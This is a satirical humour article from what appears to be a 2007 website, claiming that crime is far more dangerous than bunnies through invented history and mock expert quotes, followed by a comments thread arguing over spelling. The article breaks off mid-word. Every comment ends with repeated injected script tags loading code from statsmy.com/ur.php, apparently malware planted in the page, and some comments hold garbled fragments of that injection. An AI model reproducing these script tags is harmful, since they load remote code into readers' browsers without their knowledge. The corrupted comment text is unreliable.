As Perry Jeffers left a monthly crime conference in Chicago, Illinois and attempted to make his way home, the O’Hare airport he was to travel out of was in even more chaos than normal.

A common criminal was holding up an airport Burger King. Just down that particular wing a little, another man was attempting to wrestle a sucker away from a young infant. And to top things off, a man carrying what was obviously a bomb was attempting to push his way past security and onto a nonstop flight to New Mexico.

Amid all the chaos, Perry realized the grave danger he could be in. Rattled by the recent robbery, the Burger King could serve Perry undercooked food that would cause him to get sick and make for a rather unpleasant flight home. The thief robbing the child could be foiled in his attempts and, with head down in shame, walk into Perry and knock him down a stairwell. Or the man with the bomb could drop it onto the floor where Perry would later trip over it, causing embarrassment to himself and his family that would take years of therapy to remedy.

“This crime all around me is a terrible threat,” Perry told the cashier at the Burger King. “Not like bunnies, those things never cause anyone any problems, they’re so adorable.”

Since 1912 when crime was invented by Joseph Nogood as an alternative method for weight loss, it has been consistently rated as one of the biggest global threats, beating out other huge threats like polio and communism. Over that same period, bunnies have been rated as one of the lowest threats, being considered only slightly more of a danger than kittens and rainbows.

“It’s no secret that crime is a problem,” said Police Chief Don Brook. “Bunnies on the other hand, you just want to hold them and love them.”

The numbers are startling. In the US alone, nearly 20,000 people annually are killed by crimes and millions of others are injured, experience loss of property, or become jaded toward a law enforcement system that cannot protect them. Bunnies, on the other hand, can be attributed to no known deaths and have brought nothing but happiness and Easter eggs to all who have crossed their paths.

“Criminals can be mean, but bunnies are always cool,” said comedian Mitch Hedberg, who is clearly an expert on the subject of crime and bunnies. “Never has there been a bunny hopping toward me, and I thought ‘Man, I'd better run. Here comes that bunny.’ You never say here comes that bunny in a nervous manner. It's always optimistic. Hey here comes that bunny, al-right. Maybe he'll come near me so I can pet him.”

“In my thirty years as a judge I have presided over dozens of cases where people went to jail, sometimes for life, for committing crimes,” said local Judged Thomas McMichaels. “I never had to sentence anyone because of bunnies.”

Despite their obvious cuteness and passive demeanor, some people have the misconception that bunnies are very threatening. This often stems from poor education and abusive use of needle drugs.

“People that think bunnies are a threat are either dumb or crack addicts,” said Dr. Leonard Walsh, head of Bunny research at the Mayo Clinic. “Or dumb crack addicts.”

“A bu

Share

Rate this article:

page has been viewed 14448 times

1. by grammar police on 3/1/2007 4:52:29 PM

Very funny article Mr. Kris. I do have one suggestion. Please amend 'alot' to 'a lot'. It is a common misnomer among high school drop outs that 'a lot' is one word, but it indeed is not or isn't as the case may beone"></ifra </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by Evan on 3/1/2007 4:52:29 PM

To help you remember that just remember that "a bunch" is not one word so why should "alot" be? Also on the topic of "a" pneumonic device, separate always has "a rat" in it. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by Kris on 3/1/2007 4:52:29 PM

Because I am not talking about a 'lot', which websters describes as: A piece of land having specific boundaries, especially one constituting a part of a city, town, or block.n.ru/t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by Katy on 3/1/2007 4:52:29 PM

As much as I loathe those who feel the need to correct such petty mistakes in the comments section(in what i assume is a futile attempt to prove they are not as braindead as they are believced to be), "alot" is a verb and "a lot" is defined as what Kris just posted or as a large amount. And that myf riends is a run-on sentenceo </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

5. by grammar police on 3/1/2007 4:52:29 PM

according to Webster's it ain't a word, no matter how it is used. BTW, please don't loathe me, I can't help myself...hey...shouldn't 'Katy' have two t's? </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

6. by Katy on 3/1/2007 4:52:29 PM

Katy, the name can be spelled "Katie," "Katy," "Caitie," "Kati," and many other ways. "Katty" would be "catty" with a "K" and I sincerly hope for the sake of your genitals that your spelling correction was not an attempt at a "witty" observation of my character. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

7. by grammar police on 3/1/2007 4:52:29 PM

Well you can drive with your feet, but it doesn't make it right. In my opinion "Katy" is just "sily". </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

"Katy" is prefectly accurate. When a syllable ends in a vowel the vowel is long. "Kay - tee" Two "t"s would end the first syllable in a consenant making the vowel short. "Cat - tee" Don't argue phonetics unless you understand them.is </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>